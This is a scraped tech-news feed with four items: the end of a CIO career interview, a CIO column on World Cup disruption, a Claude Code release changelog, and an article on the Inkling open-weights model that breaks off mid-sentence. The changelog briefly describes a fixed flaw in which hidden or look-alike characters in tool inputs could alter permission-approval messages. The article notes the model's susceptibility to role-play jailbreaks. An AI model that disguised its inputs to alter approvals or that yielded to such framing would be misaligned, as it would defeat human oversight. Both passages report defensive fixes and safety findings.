<p class="wp-block-paragraph">I also believe <a href="https://www.cio.com/article/652317/cio-brett-lansings-five-point-approach-to-building-followership.html">followership</a> is going to be huge, because the way work gets done is not hierarchical. It’s going to be engineered based on the process and AI. You have to create followership of people working together, and they’ve got to want to work with you. This isn’t going be “you work for me, do as I say.” Followership is going to be a key skill for influencing and organically having that kind of impact, versus someone with authority.</p>



<p class="wp-block-paragraph">With that is the accountability to have high integrity, be credible, and be a person someone would trust. Because all this is going to break down the hierarchy of authority, you have to bring that human side and be a really good leader, which means people want to follow you, they trust you, they want to work with you, and they know you’re going to take them to a better place.</p>



<p class="wp-block-paragraph"><strong>One recurring theme throughout your career has been your ability to bridge deep technology expertise with strong business acumen. Why is that combination becoming even more critical in the age of AI and digital transformation?</strong></p>



<p class="wp-block-paragraph">You can’t impact anything tech-alone. It all resides on having business acumen and then having the technical ability to know how to use tech to solve the problem, not the other way around.</p>



<p class="wp-block-paragraph">At the root of all this is every company’s Achilles’ heel: the data. Access to data has been a privilege — those who have it, those who don’t. Now you’re bringing structured and unstructured [data] together for these AI models to work, and that’s a new skill set that requires you to know the business inside and outside.</p>



<p class="wp-block-paragraph">You also have to stay externally relevant and know where innovation is coming from. And you’re going to need to know how to architect that into the way your company goes to market, which requires you to know the business processes, how it runs, and how it could run.</p>



<p class="wp-block-paragraph">That’s the role of leaders moving forward, immersing yourself in the problems the business needs to solve. There’s no boundaries there. It’s not what department you report in and what process you own. It’s seamless. That’s the duality people need to command and grow into.</p>



<p class="wp-block-paragraph"><strong>Looking back on a career that spans multiple industries with different operating models, cultures, and regulatory environments, what were some of the most important calculated risks you took in terms of your growth?</strong></p>



<p class="wp-block-paragraph">There were two pivotal moments in my career that were the biggest risks but probably my biggest gains in growth. One was when I went into a full-time tech role and ran infrastructure. I was a fish out of water, and not the likely successor. Part of the reason I did it goes back to a something we talked about on the podcast: Well, why <em>not</em> me? And I want more. That’s just my tenacity.</p>



<p class="wp-block-paragraph">It was during the dot-com days of the late 90s, early 2000s. It didn’t matter if you were the CEO or a board director, if you didn’t know tech and you didn’t understand how to wield it, you were never going to be successful. I knew that no matter what job I may want in the future, I had to know tech. So it was a calculated decision: I’m going to jump into tech.</p>



<p class="wp-block-paragraph">Some very senior supply chain leaders who controlled my career told me, “You’re going to fail, and I’ll have a safety net for you when you come back.” Well, I didn’t fail and I never went back. That pressure was there, but I knew why I was doing it. This wasn’t just a job for ego’s sake. This was, I have to know tech. The future is tech. It’s kind of like AI now.</p>



<p class="wp-block-paragraph">The other pivotal moment was changing industries. I left Johnson &amp; Johnson at a great time. We had gone through a huge transformation, started our global services organization, and the perfect moment happened for me to retire early there. I didn’t know what I wanted to do. It was the first time I took a break in my career to let the world come to me instead of me planning it. Do I want to open a business? Do I want to consult? Do I want to stay retired? I was fortunate enough that I could, but I got bored.</p>



<p class="wp-block-paragraph">The financial industry wasn’t on my radar. Coming out of healthcare, with the purpose and the connection with saving lives, helping people, it’s easy to connect to. Financial wasn’t, for me. But one of the executive search firms said to me, when you interview, the biggest question hanging over your head is going to be, could you be successful elsewhere because you grew up in J&amp;J. You had advocates, you had influence, you knew the industry. It’s like your deck was stacked for you. Could you do all that when you’re a nobody coming off the street?</p>



<p class="wp-block-paragraph">So when the CIO role opened at State Street, I interviewed — and talk about being your authentic self. I had already done all this transformation, I already knew the outcomes, I knew everything I did was always enterprise and always end-to-end transformation. And because I wasn’t really vying for the job, I was having this conversation with the CFO and saying, “Here’s what your organization is lacking, here’s the noise you’re going to hear, do you really have the appetite for it?” And “I’d like talk to the COO and see if they’re ready to hear this about the value chain. I may not know your problem yet, but I guarantee it’s one of these three things.”</p>



<p class="wp-block-paragraph">I was testing their advocacy of, do you really want to transform? Are you ready? Because you have to own this. I can’t take accountabilities for your organizations. I can help you get there. I’m an enabler for you, but you have to own it. And it was a very different interview. By the end of it, I loved Ron [O’Hanley, State Street Chairman and CEO] and his whole team. I took the job on the leadership and the person more than the industry, and it was very successful.</p>



<p class="wp-block-paragraph">I followed the same recipe when I went to Verizon. Those were big growing moments. They were risky, they were very uncomfortable, but it was the biggest growth that I’ve ever had.</p>



<p class="wp-block-paragraph"><strong>Whether it’s a tough message to the C-suite, a difficult conversation with peers, or helping teams make sense of uncertainty and change, you tell people the truth in a way they can hear it. How can other leaders develop that ability to take people on the journey, especially when the message isn’t easy?</strong></p>



<p class="wp-block-paragraph">Skirting a problem is not the way to solve it. I’ve never been the person to say what you want to hear. I’ll tell you how you get there, and I’ll get you the results you want, but I’m going to be super honest because I want to manage the expectations of what we have to achieve.</p>



<p class="wp-block-paragraph">What I’ve learned as a leader is to take accountability. Say what you’re going to do, then do it, and if you hit a roadblock, be the first to call it. That gets you access, because people see it as a calculated risk. Anybody in the C-suite has resources and budget, but the earlier you signal and don’t waste money and resources, the more access to people and resources you will have.</p>



<p class="wp-block-paragraph">The greatest lesson I learned from one of the leaders in my path was: If you can’t say it in an elevator, and you can’t say it on one slide, you’re talking too much. So, think about it as one slide: What is it you need? What are you going to achieve? What are the risks? What are you taking accountability for? How will you measure it? It doesn’t matter what the message is when you can be that succinct. You’ve got them laser-focused on what it is. You gave them just enough of the periphery to know how you got there, and then it’s their belief in you that you can do it if they give you the money and resources, because that’s what you’re looking for.</p>



<p class="wp-block-paragraph">It sounds so simple but putting things together succinctly is hard work. You have to take all the unnecessary noise out, and keep the conversation focused. You don’t want their mind wandering, wondering where is she going, or what are they doing? Give it to them upfront and tell them what you need.</p>



<p class="wp-block-paragraph"><strong>You’ve spoken about entering corporate environments early in your career feeling intimidated by people with more traditional credentials or educational backgrounds. What advice can you give rising leaders about battling imposter syndrome?</strong></p>



<p class="wp-block-paragraph">Take the time to figure out what makes you uncomfortable, what makes you feel like an imposter, or what in that meeting you dread going in where you’re not acting like yourself. Are you more quiet than usual? Are you not asking the question you’d normally ask? Figure out what those issues are, and then address the things that make you uncomfortable. I went to college later because that bothered me. Those credentials do matter. So I addressed it and got my degrees and certifications.</p>



<p class="wp-block-paragraph">The other thing is to find people you trust, people whose opinion you respect, and bring them on the inside of what you’re working on. Maybe it’s dealing with a difficult business partner. You may not particularly want to be friends with them, but you’re going to have to work with them. Find the people that work effectively with them. You do this with high integrity — this is not about talking about that person — but find the allies that work with them. Nine times out of ten, they feel the way you do, but they found a way to work with the person. Pick their brain. Bring them in the fold and say, “I need this alliance. I can’t get there, and quite frankly, I know I’m resisting because maybe I just don’t like them. How did you get there?”</p>



<p class="wp-block-paragraph">People are generous. Ask their opinion, ask how they’re showing up. “Am I creating the trigger? Is there something I’m doing in that meeting or in that room that I’m not coming out with a decision or whatever I needed?”</p>



<p class="wp-block-paragraph">The greatest gift is feedback. There’s feedback you do something with, and there’s feedback you don’t, but either way, it’s a gift. Somebody’s giving it to you. It’s not personal; it’s business. And those things really help build your confidence and leadership style.</p>



<p class="wp-block-paragraph"><em>In an era increasingly shaped by automation and disruption, Jane Connell believes the most enduring competitive advantage may come from something deeply human: the ability to inspire confidence, curiosity, resilience, and possibility in others. For more advice from this Hall of Fame CIO, tune in to the </em><a href="https://linktr.ee/techwhisperers"><em>Tech Whisperers podcast</em></a><em>.</em></p>



<p class="wp-block-paragraph">See also:</p>



<ul class="wp-block-list">
<li><a href="https://www.cio.com/article/4185905/mastering-the-chess-of-it-leadership-today.html">Mastering the chess of IT leadership today</a></li>



<li><a href="https://www.cio.com/article/4176073/developing-a-customer-first-culture-for-it.html">Developing a customer-first culture for IT</a></li>



<li><a href="https://www.cio.com/article/4166851/coherence-where-leadership-and-ai-success-intersect.html">Coherence: Where leadership and AI success intersect</a></li>
</ul>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[What the World Cup reveals about the operating models CIOs need next]]></title>
<description><![CDATA[Every major sporting and pop culture event creates a familiar conversation among employers: How much productivity will be lost?



This year’s FIFA World Cup was no exception. Before the tournament began, UKG research found that 37% of employees globally planned to adjust their work schedules dur...]]></description>
<link>https://tsecurity.de/de/3672915/it-nachrichten/what-the-world-cup-reveals-about-the-operating-models-cios-need-next/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3672915/it-nachrichten/what-the-world-cup-reveals-about-the-operating-models-cios-need-next/</guid>
<pubDate>Thu, 16 Jul 2026 11:18:11 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Every major sporting and pop culture event creates a familiar conversation among employers: How much productivity will be lost?</p>



<p class="wp-block-paragraph">This year’s FIFA World Cup was no exception. Before the tournament began, <a href="https://www.ukg.com/company/newsroom/world-cup-could-cost-employers-17-billion-lost-productivity-ukg-says">UKG research</a><a></a><a></a> found that 37% of employees globally planned to adjust their work schedules during the tournament. Some intended to take time off. Others expected to arrive late, leave early, or otherwise alter their work patterns. The estimated global productivity loss from presentism and absenteeism ranged from $17 billion (UKG) to an astonishing $30.2B (<a href="https://www.challengergray.com/blog/fifa-world-cup-2026-productivity-impact-analysis/">Challenger, Gray &amp; Christmas</a>).</p>



<p class="wp-block-paragraph">As tournament play began, viewership surged across broadcast and streaming platforms: FOX Sports <a href="https://www.foxsports.com/stories/presspass/fox-sports-opens-fifa-world-cup-2026-record-viewership">reported record audiences</a>, while Peacock and Telemundo viewership increased <a href="https://www.nbcsports.com/pressbox/press-releases/telemundo-and-peacock-kick-off-fifa-world-cup-with-record-breaking-viewership-across-opening-weekend?">more than 230% compared to the 2022 tournament through the first 12 matches</a>.</p>



<p class="wp-block-paragraph">Those numbers are interesting, but, as a CIO, I think they point to a more important question: Why do events like this still disrupt organizations in the first place?</p>



<p class="wp-block-paragraph">The World Cup is unique because it is one of the few workforce disruptions we can see coming years in advance, and the tournament game schedule is a blend of predictable (pool play) and unpredictable (knockout stage). We know employees will modify schedules. We know customer-demand patterns will shift. We know some industries will experience staffing challenges while others see increased activity.</p>



<p class="wp-block-paragraph">None of this is a surprise.</p>



<p class="wp-block-paragraph">That is what makes the UKG survey results so interesting. They reveal a broader truth: Even when change is predictable, many organizations still struggle to prepare for it effectively.</p>



<p class="wp-block-paragraph">The issue is rarely a lack of data. Most organizations have access to workforce, operational, financial and customer information. The challenge is that those signals often live in disconnected systems, making it difficult to translate information into action before problems emerge.</p>



<p class="wp-block-paragraph">In my experience, this is where many operating models begin to break down.</p>



<h2 class="wp-block-heading">Organizations need to optimize operations for adaptability</h2>



<p class="wp-block-paragraph">For years, organizations optimized for efficiency, standardization and predictability. Those priorities helped businesses scale, but they also created processes that can struggle when conditions change. Increasingly, the ability to adapt is becoming just as important as the ability to execute efficiently.</p>



<p class="wp-block-paragraph">Adaptability is often discussed in the context of unexpected events, but many operational challenges are highly predictable. Major sporting events, seasonal demand fluctuations, weather patterns, holiday periods and workforce trends all generate signals organizations can anticipate.</p>



<p class="wp-block-paragraph">The question is not whether the information exists. The question is whether organizations can connect workforce, operational, financial and customer data in a way that allows leaders to act on those signals before they become problems.</p>



<p class="wp-block-paragraph">This is where technology leaders have an important role to play.</p>



<h2 class="wp-block-heading">Access to real-time insights leads to agile decision making</h2>



<p class="wp-block-paragraph">As CIOs, we are increasingly responsible for creating the conditions that allow organizations to sense changes, make decisions and respond quickly. That requires more than modern technology. It requires connected data, simplified processes and operating models designed to support faster decision making across the business.</p>



<p class="wp-block-paragraph">When workforce planning, scheduling, labor costs, customer demand and operational performance exist in separate systems, organizations spend their time reconciling information. When those signals are connected, they can spend their time making decisions.</p>



<p class="wp-block-paragraph">This is also where AI has the potential to create significant value. Much of today’s conversation focuses on productivity gains, but I believe the larger opportunity is responsiveness.</p>



<p class="wp-block-paragraph">Organizations generate millions of operational signals every day. AI can help process those signals, identify patterns, surface risks and recommend actions faster than traditional approaches. The value is not simply producing more insights. The value is helping organizations shorten the distance between awareness and action.</p>



<p class="wp-block-paragraph">When AI is combined with connected data and embedded into operational workflows, it can help leaders respond to changing conditions with greater speed and confidence. That is ultimately what organizations need: not perfect predictions, but the ability to make better decisions faster.</p>



<h2 class="wp-block-heading">Three questions to ask right now to test operational effectiveness</h2>



<p class="wp-block-paragraph">For CIOs, the World Cup offers an interesting stress test. It creates a visible, measurable change in workforce behavior, but the lessons extend far beyond a sporting event. I think there are three questions every technology leader should consider:</p>



<ol class="wp-block-list">
<li>Can we identify operational changes as they happen, or only after they appear in reports?</li>



<li>Can our teams make decisions quickly when conditions change?</li>



<li>Are our systems helping employees adapt, or creating additional complexity when flexibility is required?</li>
</ol>



<p class="wp-block-paragraph">The answers often reveal more about organizational readiness than any technology roadmap.</p>



<h2 class="wp-block-heading">Operational excellence means moving from information to action</h2>



<p class="wp-block-paragraph">Eventually, the tournament will end. The broader challenge it exposes will remain. Workforce expectations will continue to evolve. Economic conditions will continue to change. New technologies will continue to reshape how organizations operate.</p>



<p class="wp-block-paragraph">Organizations cannot predict every disruption. But they should be able to prepare for the ones they can see coming.</p>



<p class="wp-block-paragraph">The World Cup is a reminder that operational excellence is not just about responding to change. It is about recognizing signals early, connecting information across the business, and acting before predictable challenges become operational problems.</p>



<p class="wp-block-paragraph">In my experience, the companies that do this well are not necessarily the ones with the most detailed plans. They are the ones with the clearest visibility, the simplest operating models and the ability to turn information into action quickly. Increasingly, that is what modern operational excellence looks like.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[v2.1.211]]></title>
<description><![CDATA[What's changed

Added --forward-subagent-text flag and CLAUDE_CODE_FORWARD_SUBAGENT_TEXT environment variable to include subagent text and thinking in stream-json output
Fixed permission previews relayed to chat channels not neutralizing bidirectional-override, zero-width, and look-alike quote ch...]]></description>
<link>https://tsecurity.de/de/3672066/downloads/v21211/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3672066/downloads/v21211/</guid>
<pubDate>Thu, 16 Jul 2026 01:16:22 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's changed</h2>
<ul>
<li>Added <code>--forward-subagent-text</code> flag and <code>CLAUDE_CODE_FORWARD_SUBAGENT_TEXT</code> environment variable to include subagent text and thinking in stream-json output</li>
<li>Fixed permission previews relayed to chat channels not neutralizing bidirectional-override, zero-width, and look-alike quote characters, so tool inputs cannot visually alter the approval message</li>
<li>Fixed auto mode overriding a PreToolUse hook's <code>ask</code> decision for unsandboxed Bash — a hook <code>ask</code> now floors the decision at a prompt</li>
<li>Fixed parallel Claude Code sessions all logging out simultaneously after wake-from-sleep when many sessions share one credential store</li>
<li>Fixed plugin MCP servers not reconnecting after an idle web session woke, leaving MCP calls failing until the next message</li>
<li>Fixed Claude Code on Vertex and Bedrock attempting the default Opus model at startup and printing a spurious fallback notice when a model is explicitly configured</li>
<li>Fixed subagents spawned with an explicit model override reverting to the parent's model when resumed or sent a follow-up message</li>
<li>Fixed nested <code>.claude/rules/*.md</code> files loading even when setting sources exclude project settings</li>
<li>Fixed file upload validation: filenames ending in a DOS device suffix (<code>.prn</code>) or trailing dot are now accepted, and files with multiple hard links are refused</li>
<li>Fixed file uploads to Claude in Chrome from remote and CLI sessions</li>
<li>Fixed edits that leave the input as "?" being silently swallowed and toggling the shortcuts panel</li>
<li>Fixed a startup hang when the Claude in Chrome extension is enabled but Chrome is not running</li>
<li>Fixed a 300ms delay revealing async content (Settings tabs, Stats, diff views, and other loading states)</li>
<li>Fixed reopening a just-stopped background session from the agents view starting a blank conversation under the same session id</li>
<li>Fixed <code>/loop</code> hiding the session from <code>/resume</code> after a single use</li>
<li>Fixed screen reader users losing the audible terminal bell after <code>/terminal-setup</code> or onboarding terminal setup</li>
<li>Fixed background jobs on LLM gateway auth (<code>ANTHROPIC_AUTH_TOKEN</code> + <code>ANTHROPIC_BASE_URL</code>) coming back "Not logged in" after the daemon respawns them</li>
<li>Fixed <code>claude agents</code> jobs becoming permanently undeletable when git no longer recognizes their worktree — the row now shows why the delete was refused instead of silently reappearing</li>
<li>Fixed <code>/clear</code> not resetting the session cost counter — the statusline's cost now starts at $0 after <code>/clear</code></li>
<li>Fixed Claude in Chrome setup pages failing to open in the browser on Windows</li>
<li>Fixed headless print-mode sessions on Windows crashing or silently exiting when stdin is unreadable</li>
<li>Fixed background session titles in the agents view showing the naming model's refusal text when the prompt contains a link</li>
<li>Fixed background agents killed by the user auto-respawning, and revived agents re-running stale prompts from old sessions</li>
<li>Fixed routines with no schedule reporting a next run time in the year 1</li>
<li>Hardened synced skill/plugin directory naming on Windows and kept CCR web fetch/search proxies working after <code>/clear</code></li>
<li>Improved terminal layout and rendering performance</li>
<li>Improved background agent result reporting — Claude now reports the status of still-running agents and waits for the real completion instead of fabricating results</li>
<li>Improved the memory index over-limit warning to measure only loaded content, excluding frontmatter and HTML comments</li>
<li>Updated integer environment variables (timeouts, token budgets, retry counts) to accept scientific notation and digit-separator spellings like <code>1e6</code> and <code>64_000</code></li>
<li>Updated documentation links to the current docs sites</li>
<li>Changed "always allow" permission rules to save at the repository root, so approvals granted in a git worktree persist across sessions and worktrees</li>
<li>Changed <code>/usage-credits</code> to ask for confirmation before sending a request to organization admins</li>
<li>Changed Vim mode <code>s</code> and <code>S</code> (substitute char/line) to work in NORMAL mode, matching vim behavior</li>
<li>[VSCode] Updated the Remote Control banner to describe what it does</li>
<li>Claude in Chrome: hardened file-upload path validation</li>
<li>Claude in Chrome: <code>save_to_disk</code> on screenshot actions now writes the image to disk and returns the path; previously it did nothing</li>
<li>Fixed a prompt-caching regression on Bedrock, Vertex, Mantle, and Foundry that billed the trailing system context block as fresh input tokens on every request.</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[Thinking Machines open sources first multimodal language model, Inkling, focused on low cost and 'resistance to censorship']]></title>
<description><![CDATA[Enterprises looking to move more of their agentic AI workloads to open weights models they can customize, control and run on-premises or in virtual private clouds have a strong new contender to consider.Today, Thinking Machines—the highly capitalized American AI startup founded by former OpenAI C...]]></description>
<link>https://tsecurity.de/de/3672034/it-nachrichten/thinking-machines-open-sources-first-multimodal-language-model-inkling-focused-on-low-cost-and-resistance-to-censorship/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3672034/it-nachrichten/thinking-machines-open-sources-first-multimodal-language-model-inkling-focused-on-low-cost-and-resistance-to-censorship/</guid>
<pubDate>Thu, 16 Jul 2026 00:46:37 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Enterprises looking to move more of their agentic AI workloads to open weights models they can customize, control and run on-premises or in virtual private clouds have a strong new contender to consider.</p><p>Today, Thinking Machines—the highly capitalized American AI startup founded by former OpenAI CTO Mira Murati—<a href="https://thinkingmachines.ai/news/introducing-inkling/">released Inkling</a>, its first major language model under an<a href="https://choosealicense.com/licenses/apache-2.0/"> enterprise-friendly Apache 2.0 open source license</a>, and it boasts high, if sub state-of-the-art, performance for open weights models on third-party benchmarks, specifically software engineering (77.6% on SWE-bench Verified, where it beats fellow U.S. open rival Nvidia Nemotron 3's 71.9%) and voice understanding (91.4% on VoiceBench compared to 94.4% for Gemini 3.1 Pro on high reasoning effort).</p><p>Another differentiator: Thinking Machines notes that Inkling was designed "to answer directly on topics that may be subject to censorship," offering enterprises concerned about factual outputs, irrespective of controversy or sensitivity, a more trustworthy option. </p><p>Coming in at 975 billion total parameters, Inkling is a natively multimodal, open-weights Mixture-of-Experts (MoE) system capable of reasoning across text, images, and audio. The weights <a href="https://huggingface.co/thinkingmachines/Inkling">are already available on Hugging Face</a> and the company's own model training application programming interface (API), <a href="https://thinkingmachines.ai/tinker/">Tinker</a>.</p><p>Designed to balance cost against performance through a novel "controllable thinking effort" mechanism, the model represents a significant departure from the black-box scaling strategies of frontier competitors.</p><p>Alongside the flagship model, Thinking Machines also announced a preview of Inkling-Small, a lighter 276-billion-parameter alternative optimized for workloads where low latency and cost are paramount.</p><h2><b>Benchmarks Show a Powerful, High-End, Sub State-of-the-Art Model</b></h2><p>While Inkling is a formidable multimodal engine, it lands in a fiercely competitive 2026 open-weight landscape characterized by highly specialized MoE architectures. Rather than attempting to dominate every leaderboard, Thinking Machines explicitly designed Inkling—with 975 billion total and 41 billion active parameters—as a broad, balanced generalist. </p><p>For example, it comes in near the middle high-end of benchmark performance 1257 on Design Arena’s Agentic Web Dev leaderboard measuring human scores of frontend web design. </p><p>But China’s leading AI labs have produced models with elite reasoning and coding capabilities, posing a stiff challenge to Inkling's generalist approach and ultimately outperforming it on general and coding benchmarks.</p><ul><li><p><b>GLM 5.2:</b> Widely considered the top open-weight reasoning model available in the benchmark set, GLM 5.2 outperforms Inkling on pure coding, agentic, and complex reasoning tasks. It scores 62.1% on SWEBench Pro (Public) compared to Inkling’s 54.3%, and a massive 82.7 on Terminal Bench 2.1 against Inkling’s 63.8. GLM 5.2 also holds the edge in text-only reasoning, scoring 40.1% on HLE (text only) versus Inkling's 30.0%.</p></li><li><p><b>DeepSeek V4 Pro:</b> DeepSeek maintains an edge in several strict coding and factuality domains, beating Inkling on SWEBench Verified (80.6% vs. 77.6%) and SimpleQA Verified (57.0% vs. 43.9%). However, Inkling successfully overtakes DeepSeek V4 Pro in mathematical problem-solving, achieving 97.1% on AIME 2026 compared to DeepSeek's 96.7%.</p></li><li><p><b>Kimi K2.6:</b> This model outpaces Inkling across multiple technical benchmarks, delivering higher scores on GPQA Diamond (91.1% vs. 87.9%), BrowseComp (83.2% vs. 77.1%), and HLE with tools (54.0% vs. 46.0%). Yet Inkling proves more resilient on general chat instruction following, scoring 79.8% on IFBench compared to Kimi K2.6's 76.0%.</p></li></ul><p>Against its primary U.S.-based open-weight competition, Inkling demonstrates strong parity and frequent superiority.</p><ul><li><p><b>Nemotron 3 Ultra:</b> Inkling consistently outperforms this U.S. rival across reasoning and coding. Inkling posts 97.1% on AIME 2026 and 77.6% on SWEBench Verified, beating Nemotron's 94.2% and 70.7%, respectively. Furthermore, Inkling significantly leads in agentic workflows, scoring 74.1% on MCP Atlas against Nemotron's 44.7%.</p></li></ul><p>When compared to closed-source juggernauts like Claude Fable 5, GPT 5.6 Sol, and Gemini 3.1 Pro, Inkling trails in peak reasoning and software engineering autonomy, but remains highly competitive in multimodality.</p><ul><li><p><b>Coding and Reasoning:</b> Closed models maintain a commanding lead. Claude Fable 5 (max) hits 95.0% on SWEBench Verified and 53.3% on HLE (text only), far outpacing Inkling's 77.6% and 30.0%. GPT 5.6 Sol dominates Terminal Bench 2.1 with an 89.5, easily clearing Inkling's 63.8.</p></li><li><p><b>Native Multimodality:</b> Inkling's native visual and audio capabilities hold their own. On the MMMU Pro (Standard 10) vision benchmark, Inkling's 73.3% is competitive, though trailing Claude Fable 5's 84.2% and GPT 5.6 Sol's 83.0%. In audio processing, Inkling scores a highly respectable 77.2% on MMAU, keeping it within striking distance of Gemini 3.1 Pro's 82.5%.</p></li></ul><p>If an enterprise workflow demands elite software engineering autonomy or the highest bounds of text-only reasoning, models like GLM 5.2 or proprietary systems like Claude Fable 5 maintain the edge. </p><p>However, Inkling carves out a unique and highly defensible position: it is the most capable open-weight foundation model that natively fuses text, vision, and audio, while simultaneously offering developers direct programmatic control over the cost-to-performance ratio. </p><h2><b>The Shift from Static Reasoning to Controllable Thinking</b></h2><p>Rather than attempting to build a singular "god model" optimized strictly for state-of-the-art benchmark domination, Thinking Machines engineered Inkling for adaptability and efficiency in real-world workflows.</p><p>The standout feature of this release is Inkling's "controllable thinking effort." Developers can programmatically adjust the model's reasoning budget—scaling from 0.2 to 0.99—to dictate how hard the AI should "think" before generating an output. </p><p>As the company noted, "Inkling's continuous thinking effort lets you pick your point on the cost/performance curve—reaching the same score with a fraction of the tokens".</p><p>In practical terms, this allows enterprises to deploy Inkling with lower token expenditure for simpler tasks, while cranking up the compute overhead for complex, multi-step reasoning challenges. However, by keeping the thinking effort lower and generating fewer tokens, the cost-conscious enterprise can achieve high quality results and performance on simple tasks while spending less money, or, in the case of those running models locally, less costs on energy and compute resources.</p><p>During the model’s large-scale reinforcement learning (RL) training over 30 million rollouts, researchers observed an emergent phenomenon they called "chain of thought condensation". Over time, Inkling naturally learned to compress its internal reasoning steps—dropping grammatical overhead and connectives—while reaching the same accurate conclusions, resulting in drastically reduced latency.</p><h2><b>Epistemics and Censorship Resistance</b></h2><p>A notable element of Thinking Machines' release is its explicit focus on the model's epistemics—specifically its calibration, instruction following, and resistance to censorship. </p><p>In an ecosystem where open-weight models adopt either overly restrictive safety guardrails or echo state-aligned ideological talking points, Inkling was intentionally trained to answer directly on politically sensitive or heavily censored topics.</p><p>To validate this approach, Thinking Machines submitted Inkling to the <i>Propaganda and Censorship Eval</i> developed by AI startup Cognition. According to the published findings, Inkling demonstrated "strong patterns of censorship non-compliance," effectively resisting ideological capture or boilerplate refusals when presented with sensitive subjects.</p><p>Despite its resistance to censorship, the model maintains a robust defense against genuinely malicious, dangerous, or illegal queries. On the StrongREJECT benchmark—which tests responses to unambiguous harmful requests—Inkling scored 98.6%, placing it in line with strict frontier safety standards. Furthermore, on the FORTRESS benchmark, Inkling successfully navigated the line between safety and over-refusal: it achieved a 78.0% refusal rate on adversarial queries (such as those involving weapons, cyberattacks, or violence) while maintaining a 95.9% compliance rate on benign, look-alike queries.</p><p>Thinking Machines noted that typical open-weight vulnerabilities remain within the architecture. Internal safety evaluations revealed an "occasional tendency to comply with role-play and indirectly framed prompts concerning harmful topics". The company advised enterprise developers to treat the model's built-in refusals as just one layer of security, recommending the downstream deployment of external moderation tools—such as Llama Guard—to filter adversarial jailbreaks and enforce use-case-specific safety policies at the application level.</p><h2><b>Under the Hood: Architecture and Multimodality</b></h2><p>Inkling's scale is staggering, yet sparse. The MoE architecture features 975 billion total parameters, but only 41 billion parameters are active during any given token generation. It supports a massive context window of 1 million tokens and diverges from typical transformer models by using relative positional embeddings instead of the industry-standard Rotary Positional Embedding (RoPE).</p><p>True to the company's foundational vision, Inkling was trained from scratch to be natively multimodal. Unlike models that rely on bolted-on external encoders, Inkling uses an encoder-free early fusion approach. It directly ingests audio as discrete dMel spectrograms and visual data as 40x40 pixel patches via a hierarchical multi-layer perceptron (hMLP), projecting all modalities into a shared hidden space.</p><h2><b>Licensing: True Open-Source for the Enterprise</b></h2><p>For enterprise IT teams and developers, the most disruptive aspect of Inkling may be its licensing. Inkling is released under the permissive Apache 2.0 license.</p><p>In an ecosystem where many so-called "open" models from Western labs are tethered to dual-use commercial licenses, acceptable use restrictions, or revenue caps, an Apache 2.0 designation makes Inkling a true open-source foundation. This gives developers the legal freedom to download, modify, integrate, and commercialize the model weights entirely royalty-free.</p><p>The model is readily deployable across major open-source inference libraries—including SGLang, vLLM, TokenSpeed, and llama.cpp—and comes with a native NVFP4 quantized checkpoint optimized for NVIDIA Blackwell systems.</p><h2><b>Community Reactions: The Engineering Feat</b></h2><p>The AI community's response has been swift, praising both the model's openness and the underlying engineering execution.</p><p>In a<a href="https://x.com/johnschulman2/status/2077460227327467982"> post on X</a>, Thinking Machines co-founder John Schulman reflected on the rapid development cycle: "Inkling is out today, with open weights and in Tinker. It's been fun to watch this one come together: pretraining began last winter, and starting in mid-January a small team built up the coding, reasoning, and agentic training from there. We learned a lot building it, and I hope people find good uses for it."</p><div></div><p>Horace He, a researcher at Thinking Machines (previously from PyTorch), underscored the difficulty of the task in <a href="https://x.com/cHHillee/status/2077457790423969806">another post on X</a>: "It truly takes a village to release a model, perhaps especially an open weights model. Actually doing the entire process from scratch, from data to pretraining to posttraining to actual release, gives a lot of appreciation for anyone who does it!"</p><div></div><p>The broader open-source ecosystem has also embraced the technical integrations. Lysandre Debut, the Chief Open-Source Officer at Hugging Face, shared his enthusiasm regarding the model's optimization<a href="https://x.com/LysandreJik/status/2077459011285512267"> in his own X post</a>: "One thing I find quite striking is how much easier accelerating models has become... We replaced the model's causal Conv1D with the `causal-conv1d` kernel. One line changed, +4% tokens per second. We then replaced its attention implementation with FlashAttention-4. Another single change, another +11%. That's a total throughput improvement of about 15%, without changing the model architecture or retraining anything."</p><p>Tiezhen Wang, an ecosystem growth expert and ex-Googler, celebrated the release as a massive win for the open-source community, listing the model's impressive specifications on X, highlighting its "975B total, 41B active" size, "Native MTP support," and the highly coveted "Apache 2.0 license."</p><h2><b>Background: The Road to Inkling</b></h2><p>To understand the significance of Inkling, one has to look back at the rapid trajectory of Thinking Machines over the past 18 months.</p><p>When<a href="https://venturebeat.com/technology/ex-openai-cto-mira-murati-unveils-thinking-machines-a-startup-focused-on-multimodality-human-ai-collaboration"> Mira Murati departed OpenAI in late 2024 to found Thinking Machines</a> alongside industry veterans like John Schulman and Barret Zoph, the stated goal was to pivot away from building isolated autonomous agents. Instead, the company aimed to build flexible, multimodal systems designed for genuine human-AI collaboration and open science.</p><p>By July 2025, the startup had secured a historic $2 billion seed round led by Andreessen Horowitz at a $12 billion valuation. At the time, Murati promised the<a href="https://venturebeat.com/technology/mira-murati-says-her-startup-thinking-machines-will-release-new-product-in-months-with-significant-open-source-component"> impending release of a product with a "significant open source component" </a>to empower researchers and startups.</p><p>The company’s philosophy began coming into sharper focus in October 2025 with the launch of <a href="https://venturebeat.com/technology/thinking-machines-first-official-product-is-here-meet-tinker-an-api-for">Tinker</a>, a Python-based API for large language model fine-tuning that gave researchers granular control over training pipelines without the friction of distributed compute management.</p><p>That same month, Thinking Machines researcher <a 